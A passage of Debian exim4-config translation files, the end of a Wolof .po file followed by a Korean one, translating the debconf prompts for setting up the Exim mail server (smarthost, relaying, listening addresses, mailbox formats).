waaye deesuleen jallalewaat ci baneen masin, moo tax kenn ci " "jëfandikukat yi nga tannoon warul di jallale ay bataaxalam ci baneen masin. " "Man ngaa jëfandikoo prefiks 'real-' ngir forse ab jebbale lokaal." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Turu jëfandikukat yu bare dees leena wara teqale leen ak ay espaas." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Adrees IP yi ñuy diglu ngir koneksioŋ SMTP yiy duggsi:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Joxeel fii ab list bu adrees IP yuñu teqale ak (;). Daemon bu Exim biy diglu " "SMTP dana diglu ci mbooleem adrees IP yi nekk ci list bii." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Boo bindul fii dara, kon Exim dana diglu koneksioŋ yiy nekk ci mbooleem " "interfaas resóo yi fi nekk." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Bu fekkee bii kompiyutar du jot directement email yudul yu juge ci sarwiis " "lokaal yi (du jot lu joge ci yaneeni masin), kon dangaa wara tere koneksioŋ " "yu juge ci bitti jëm ci Exim deamon. sarwiis yooyu ñooy yu deme ne " "prograamu email (MUA) yiy wax ak localhost rekk, walla fetchmail. Jokkoo bu " "juge ci biiti dooul mana am bu fekkee bindnga fii 127.0.0.1. booko defee " "dóotóo jappundil diglu ci interfaas resóo piblik yi." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Ndax nu bayyi lumu sakku DNS mu néew (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Ci doxaliin wu normaal, Exim dana xool DNS ci buy tambule, buy jot walla muy " "joxe ay bataaxal. Loolu nak njariñam mooy log rekk, ak yit dana tax ba limub " "fiise komfiguraasioŋ yu walóor yi ñi kode (hard-coded values) di doon lu " "tuuti." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Bu lii doonee ab masin bu manul di aksi saa sune ci serwóor turu domen DNS " "(ci misaal budee jokkoo ak internet ci ab liiñ dial-up buy jëfandikoo dial-" "on-demand), kon man naa am luci judóo loo bëggul. Ci misaal: saa yoo " "tambulee exim walla ngay doxal sappe si (queue) (doonte sax benn betaaxal " "nekkul di xaar), loolu di and ab xewxewu kompoose (dial-up) bu seer." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Lii warnga koo tann bu fekkee sistem bii dafay jëfandikoo Dial-on-Demand. Bu " "fekkee saa sune mingi jokkoo ak internet, kon waróo koo tann." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Komfiguraasioŋ Serwór Mail" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Ndax ñu xajjale komfiguraasioŋ bi ci ay fiise yu tuuti?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Paket yu exim4 bu Debian man naa jëfandikoo 'unplit configuration', maana " "benn fiise komfiguraasioŋ (/etc/exim4/exim4.conf.template), man na yit " "jëfandikoo 'split configuration', nga xam ne fiise komfiguraasioŋ bi deeskay " "séddëlé lu jege 50 fiise yu ndaw yuñuy def ci /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Bu jëkk bi (\"unsplit configuration\")moo gëna dëppo ak di def ay " "modifikaasioŋ yu mag, ta yit moo gëna estaable. Bu ñaareel bi nak (\"split " "configuration\"), dana yombal def ay modifikaasioŋ yu ndaw, waaye mooy gëna " "néew doole, ta buñu ko soppee ci lu andul ak ak teey, kon man naa dammu." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Ngir am yaneen faramfacce ci split ak unsplit configuration, man ngaa xool " "Fiise README yiñu jagleel Debian yi ne ci /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Ndax nu laq turu mail bi ci bataaxal yiy génn?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Boppu bataaxal yiy génn maneesna leena bindaat ngir ñu mel ne ci baneen " "sistem lañu juge. Bu fekkee tann nga loolu, kon '${mailname}', 'localhost' " "ak '${dc_other_hostnames}' yi nekk ci From, Reply-To, Sender ak Return-Path " "deesleen di bindaat (soppi leen)." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "formaat bu mbox bi ci /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Formaat bu Maildir bi ci kaggu wu home" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Metoodu jébbaliin wu bbataaxal lokaal yi:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim man na di deñc email lokaal yi ci ay formaat yu bare. Yi ci ëppu luñu " "leen di jëfandikoo ñooy mbox ak Maildir. mbox dafay dafay jël benn fiise, " "deñc ci kaggu wi yor mbooleem bataaxal yi ne ci /var/mail. Formaat bu " "Maildir nak mooy bataaxal bu ne dafay am ab fiise bu boppam buñuy deñc ci " "kaggu ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Na nga bayyi xel ne li ëppu ci jumtukaay yu email yu Debian, ci seen " "komfiguraasioŋ bu defóo dañuy jappu ne metood bu jébbale email lokaal yi " "moodi mbox." #~ msgid "Overwrite existing /etc/aliases?" #~ msgstr "Ndax ñu bind ci kay /etc/aliases yi fi nekk?" #~ msgid "" #~ "An /etc/aliases file was found on the system, but it does not redirect " #~ "mail for root to a user account, which is strongly recommended." #~ msgstr "" #~ "Gisnañu fii ab fiise bu /etc/aliases, waaye du jallale bataaxal yu root " #~ "ci ab koontu bu jëfandikukat, ta loolu doon luñuy deŋkaane bubaax ku ko " #~ "def." #~ msgid "" #~ "Accepting this option will cause /etc/aliases to be overwritten, and the " #~ "old file will be renamed to aliases.O." #~ msgstr "" #~ "Boo naŋgoo tann lii kon fiise bu /etc/aliases deesna bind ci kawam, buko " #~ "defee fiise bu jëkk ba dañukoy tudde aliases.O." debian/po/ko.po0000644000000000000000000010010512027557533010563 0ustar # Sunjae Park , 2006 - 2007. # Changwoo Ryu , 2004, 2008. # msgid "" msgstr "" "Project-Id-Version: exim4-config\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-07-20 12:18+0900\n" "Last-Translator: Sunjae Park \n" "Language-Team: Korean \n" "Language: ko\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "스풀 디렉토리의 배달하지 않은 메일을 지우시겠습니까?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "exim의 스풀 디렉토리인 /var/spool/exim4/input/에 아직 배달하지 않은 메일이 들" "어있습니다. exim을 지우면 exim을 다시 설치할 때까지는 이 메일은 배달되지 않" "은 상태로 있을 것입니다." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "이 옵션을 선택하지 않으면 스풀 디렉토리를 그대로 둡니다. 나중에 exim을 다시 " "설치할 때 배달하지 않은 메시지를 다시 배달할 수 있습니다." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "이 패키지 대신에 exim4-config을 다시 설정합니다" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "exim4는 설정 부분을 exim4-config라는 전용 패키지에 둡니다. exim4를 다시 설정" "하려면 'dpkg-reconfigure exim4-config' 명령을 실행하십시오." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "인터넷 사이트, SMTP를 사용해서 직접 메일을 주고 받습니다" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "스마트호스트로 메일 보내기, SMTP나 fetchmail로 받습니다" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "스마트호스트로 메일 보내기, 로컬 메일이 없습니다" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "로컬 배달 전용, 네트워크 연결이 없습니다" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "지금 설정하지 않습니다" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "일반적인 메일 설정 종류:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "보기 중에서 가장 용도에 맞는 메일 서버 설정을 고르십시오." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "전화접속 시스템을 포함한 동적 IP 주소를 사용하는 시스템은 일반적으로 \"스마트" "호스트\"라고 하는 다른 컴퓨터를 통해 보내는 메일을 보내도록 설정하는 것이 좋" "습니다. 인터넷에서 메일을 받을 시스템은 대부분 스팸 방지 대책으로 동적 IP 주" "소에서 보낸 메일을 막도록 설정하기 때문입니다." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "동적 IP 주소를 갖는 시스템은 자신의 메일을 받도록 설정할 수도 있고, 로컬 배달" "을 전혀 사용하지 않도록 할 수도 있습니다. (root나 postmaster용 메일 제외.)" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "정말로 메일 시스템을 설정하지 않은 상태로 놔두시겠습니까?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "메일 시스템을 설정하기 전까지는, 제대로 동작하지 않을 것이며 사용할 수도 없습" "니다. 후에 수동으로 설정하거나 root로 \"dpkg-reconfigure exim4-config\"를 실" "행해서 설정할 수 있습니다." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "시스템 메일 이름:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"메일 이름\"은 도메인 이름이 없는 메일 주소의 목적지를 정하기 위해 사용하는 " "도메인 이름을 뜻합니다." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "메일 이름은 다른 프로그램에서도 사용합니다. 유일하게 사용하는 전체 추소 도메" "인 이름(FQDN)이어야 합니다." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "예를 들어 로컬 호스트에 있는 메일 주소가 foo@domain.example라면, 이 옵션에 들" "어갈 값은 domain.example입니다." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "다시 쓰기 규칙이 활성화 되어있을 경우 이름은 나가는 메일의 From:줄에 나타나" "지 않습니다." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "다음 목적지로 가는 메일은 받아들이기:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "이 컴퓨터가 마지막으로 받을 메일이라고 취급할 도메인의 목록을 세미콜론으로 구" "분하여 입력하십시오. 이러한 도메인을 보통 \"로컬 도메인\"이라고 부릅니다. 로" "컬 호스트 이름(${fqdn})이나 \"localhost\"은 여기에 입력하신 목록에 자동으로 " "추가됩니다." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "기본적으로 모든 로컬 도메인은 모두 동일하게 처리합니다. a.example와 b." "example 모두 로컬 도메인이라면, acc@a.example와 acc@b.example 모두 같은 최종 " "목적지로 배달됩니다. 도메인에 따라 다르게 처리하도록 하려면, 나중에 설정 파일" "을 직접 편집해야 합니다." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "다음 도메인으로 가는 메일은 릴레이:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "예비 MX나 메일 게이트웨어 등 이 시스템이 메일을 전달할 수신 도메인을 세미콜론" "으로 구분된 목록을 입력해주십시오. 이렇게 하면 이 시스템은 인터넷 어디에서든" "지 해당 도메인을 위해 메일을 받아들여서 로컬 배달 규칙에 따라 메일을 배달하" "게 됩니다." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "로컬 도메인은 사용하지 마십시오. 와일드카드는 사용해도 됩니다." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "다음 컴퓨터로 가는 메일을 릴레이:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "스마트호스트로 동작하는 이 시스템이 무조건적으로 메일을 전달할 IP 주소 대역" "의 목록을 세미콜론으로 구분하여 입력하여 주십시오." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "\"주소/길이\"식의 표준 형식을 사용해야 합니다. (예: 194.222.242.0/24 아니면 " "5f03:1200:836f::/48)" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "이 시스템이 다른 호스트를 위한 스마트호스트 역할을 하지 않을 경우 이 목록을 " "비워두십시오." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "로컬 사용자가 외부에 사용할 도메인 이름:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "나가는 메일에서 로컬 메일 이름을 숨기도록 하는 옵션이 활성화되었습니다. 따라" "서 로컬 사용자의 보내는 사람 주소의 도메인 부분에 해당하는 도메인 이름을 지정" "하셔야 합니다." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "외부로 보내는 스마트호스트의 IP 주소나 호스트 이름:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "외부로 나가는 스마트호스트로 사용할 IP 주소나 호스트 이름을 입력해주십시오. " "스마트호스트가 TCP/25와 다른 포트만을 사용한다면 콜론(:) 2개와 포트번호(예를 " "들어 smarthost.example::587이나 192.168.254.254::2525)를 뒤에 붙이십시오. " "IPv6 주소에 있는 콜론은 중복해서 입력하셔야 합니다." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "스마트호스트가 인증을 필요로 할 경우, /usr/share/doc/exim4-base에서 SMTP 인증" "을 설정하는 방법에 관한 데비안 관련 README 파일을 참조하십시오." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "root 및 postmaster 메일을 받을 사람:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "\"postmaster\"나 \"root\" 등 기타 시스템 계정의 메일은 실제 시스템 관리자의 " "사용자 계정으로 전달되어야 합니다." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "이 값을 비워둘 경우 이러한 메일은 /var/mail/mail에 저장되게 되는데, 이는 권장" "하지 않습니다." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "postmaster의 메일은 다른 시스템으로 전달하지 않고 목표 시스템에서 바로 읽는 " "것이 좋기 때문에, 여기에 나열된 사용자 중 최소한 하나는 이 시스템 밖으로 메일" "을 전달하지 않을 것을 권장합니다. 로컬 배달을 강제하기 위해서는 앞에 \"real-" "\"를 붙이십시오." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" "사용자 이름을 여러 개 입력하기 위해서는 공백으로 구분해서 입력하십시오." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "들어오는 SMTP 연결을 받아들일 IP 주소:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "세미콜론으로 구분된 IP 주소의 목록을 입력하십시오. exim의 SMTP listener 데몬" "은 이 목록에 있는 모든 IP 주소에서 연결을 받아들이게 됩니다." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "이 값을 비워둘 경우, exim은 사용 가능한 모든 네트워크 인터페이스에서 연결을 " "받아들이게 됩니다." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "이 시스템이 (다른 호스트에 연결하지 않고)로컬 서비스를 통해서만 이메일을 받으" "면 외부에서 로컬에 있는 exim 데몬으로 연결을 금할 것을 권장합니다. 로컬 서비" "스란 localhost와 통신하는 이메일 프로그램(MUA)과 fetchmail 등을 일컫습니다. " "여기에 127.0.0.1을 입력하면 공개된 네트워크 인터페이스에서의 연결을 받아들이" "지 않게 되기 때문에 외부 연결이 되지 않습니다." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "DNS 질의를 최소화하시겠습니까 (필요할 때만 전화접속)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "일반적인 동작 모드에서는 exim이 시작할 때와 메세지를 보내고 받을 때에 DNS 질" "의를 합니다. 이는 로그 작성을 위해, 설정 파일에서 하드코딩된 값을 최소화하기 " "위해서입니다." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "필요할 때만 전화접속을 하는 등의 이유로 DNS 네임서버에 아무 때나 접근할 수 없" "을 경우 원치 않는 결과를 초래할 수 있습니다. 예를 들어 exim을 시작하거나 메" "일 큐를 실행하는 경우(큐에 실제 메세지가 없더라도) 전화요금이 비싼 전화접속" "을 시도할 수 있습니다." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "시스템이 필요할 때만 전화접속 모드를 사용할 경우 선택하시기 바랍니다. 항상 인" "터넷에 연결되어 있을 경우에는 이 옵션을 사용하지 마십시오." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "메일 서버 설정" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "설정을 여러개의 작은 파일로 쪼개시겠습니까?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "데비안 exim4 패키지는 한 개의 통합된 파일(/etc/exim4/exim4.conf.template)을 " "사용하는 \"통합설정\"를 사용하거나 /etc/exim4/conf.d/ 안에 있는 50여 개의 작" "은 파일에서 최종 설정 파일을 만드는 \"분리된 설정\"를 사용할 수 있습니다." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "전자의 경우 설정을 많이 수정하는 경우에 더 적합하고 더 안정적입니다. 반면 후" "자는 설정을 약간 수정하는 경우 더 간편한 방법일 수 있지만 더 불안정하며 설정" "을 잘못할 경우 설정이 망가질 수도 있습니다." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "분리된 설정과 통합설정에 관한 더 자세한 정보는 /usr/share/doc/exim4-base에 있" "는 데비안 전용 README 파일에서 보실 수 있습니다." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "나가는 메일에서 로컬 메일 이름을 감추시겠습니까?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "다른 시스템에서 메일을 보낸 것처럼 보이도록 나가는 메일의 헤더를 다시 쓸 수 " "있습니다. 이 옵션을 사용할 경우 From, Reply-To, Sender 및 Return-Path에 있" "는 \"${mailname}\"이나 \"localhost\", \"${dc_other_hostnames}\"을(를) 다른 이" "름으로 바꾸게 됩니다." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/에 mbox 형식으로" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "홈 디렉토리에 Maildir 형식으로" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "로컬 메일을 배달할 때 사용할 배달 방식:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "exim은 로컬로 배달된 이메일을 다양한 형식으로 저장할 수 있습니다. 가장 널리 " "사용되는 형식은 mbox형식과 Maildir형식입니다. mbox형식은 /var/mail/에 있는 완" "전한 메일 폴더를 하나의 파일에 저장합니다. Maildir형식을 사용할 경우 모든 메" "시지는 ~/Maildir/에 따로 따로 저장됩니다." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "참고로 데비안에 있는 대부분의 메일 도구는 mbox 형식을 기본 로컬 배달 방식으" "로 간주합니다." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "exim(버전3)이 아직 배달하지 않은 메일을 exim4 스풀로 옮기시겠습니까?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "exim(버전3)이나 exim-tls(v3)용 스풀 디렉토리 /var/spool/exim/input/에 아" #~ "직 배달되지 않은 메일이 있습니다." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "이 옵션을 선택하시면 이 메시지를 exim4용 스풀(/var/spool/exim4/input/)로 " #~ "옮겨서 exim4가 처리하도록 합니다." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "이 작업은 한쪽 방향으로만 동작합니다. exim4는 exim(v3)용 스풀을 처리할 수 " #~ "있지만 반대로는 안 됩니다. 다시 exim(v3)를 사용하지 않을 경우에만 메시지" #~ "를 옮기도록 하십시오. 그렇지 않으면 메시지를 나중에 수동으로 옮기십시오." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "이 목록을 비어둘 경우 exim은 로컬 배달을 안하게 됩니다." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "한 방향으로만 동작하는 것에 주의하십시오. exim4는 exim(버전3)의 스풀을 처" #~ "리할 수 있지만, 그 반대는 아닙니다." #~ msgid 